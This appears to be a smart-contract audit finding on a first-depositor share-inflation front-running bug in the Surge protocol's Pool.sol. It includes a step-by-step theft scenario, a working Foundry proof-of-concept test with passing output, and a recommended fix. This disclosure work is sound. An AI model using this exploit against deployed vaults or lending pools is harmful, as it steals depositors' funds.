bin2chen

high

# deposit() front-run steal funds

## Summary
Similar to ERC4626 inflation attacks , front-run steal funds
## Vulnerability Detail

Pool.sol currently loanTokenBalance come from LOAN_TOKEN.balanceOf(this), it will give the possibility of inflation attacks

The conversion formula is as follows:
```solidity
    function tokenToShares (uint _tokenAmount, uint _supplied, uint _sharesTotalSupply, bool roundUpCheck) internal pure returns (uint) {
        if(_supplied == 0) return _tokenAmount;
        uint shares = _tokenAmount * _sharesTotalSupply / _supplied;
        if(roundUpCheck && shares * _supplied < _tokenAmount * _sharesTotalSupply) shares++;
        return shares;
    }
```
Malicious users can front-run the first deposit and execute inflation attacks
Example:
Assuming that no one has deposited yet, alice monitors the memory pool and finds that bob has a transaction and will deposit 1000

1.alice front-run deposit(2):
totalSupply = 2 
totalAsset = 2
alice shares =2
2.and directly transfer 1000 to pool use loan_token.transfer(pool,1000):
totalSupply = 2 
totalAsset = 1002
alice shares =2

3.then it's bob's turn for the transaction to be executed , deposit(1000):
bob get shares = 1000 * 2 / 1002 = 1    (round down)   

so now:
totalSupply = 3 
totalAsset = 2002
alice shares =2
bo shares =1

4.alice withdraw all get:  2 * 2002 / 3 = 1334   (steal 332)

Here is the test codeï¼š
add to Pool.t.sol
```solidity
    function test4626() external {
        uint amount = 1e36;
        MockERC20 loanToken = new MockERC20(amount, 18);
        Pool pool = factory.deploySurgePool(IERC20(address(new MockERC20(amount, 18))), IERC20(address(loanToken)), 1e18, 0.8e18, 1e15, 1e15, 0.1e18, 0.4e18, 0.6e18);
        
        //1.give balance:  alice = 1002 bob =1000
        address alice = address(1);
        address bob = address(2);
        loanToken.transfer(alice, 1002);
        loanToken.transfer(bob, 1000);
        assertEq(loanToken.balanceOf(alice), 1002);
        assertEq(loanToken.balanceOf(bob), 1000);

        //2.alice front-run bob 
        //2.1 front-run deposit 2
        //2.2 and directly transfer 1000 to pool
        //2.3 so get shares = 2 , totalAsset = 1002
        vm.startPrank(alice);        
        loanToken.approve(address(pool), 1002);
        pool.deposit(2);
        loanToken.transfer(address(pool), 1000);  //  directly transfer 
        vm.stopPrank();

        //3 bob deposit 1000
        //3.1 so bob get shares = 1 ,totalAsset = 2002
        vm.startPrank(bob); 
        loanToken.approve(address(pool), 1000);
        pool.deposit(1000); 
        vm.stopPrank();    

        //4.alice withdraw all ,get 2002 * 2/3 = 1334 (steal 332 )
        vm.startPrank(alice);   
        pool.withdraw(type(uint).max);
        assertEq(loanToken.balanceOf(alice), 1334);
        vm.stopPrank();  
        
        //5.bob withdraw all ,get 2002 - 1334 = 668 (lost 332)
        vm.startPrank(bob);   
        pool.withdraw(type(uint).max);
        assertEq(loanToken.balanceOf(bob), 668);
        vm.stopPrank();  

        //6.check pool left 0
        assertEq(loanToken.balanceOf(address(pool)), 0);           

    }
```
```console
$ forge test --match test4626 -vvv

Running 1 test for test/Pool.t.sol:PoolTest
[PASS] test4626() (gas: 2818872)
Test result: ok. 1 passed; 0 failed; finished in 9.39ms
```


## Impact
steal user funds
## Code Snippet

https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L308

https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L199-L204

## Tool used

Manual Review

## Recommendation
Use variables to record the current deposit, or refer to:

https://ethereum-magicians.org/t/address-eip-4626-inflation-attacks-with-virtual-shares-and-assets/12677/7
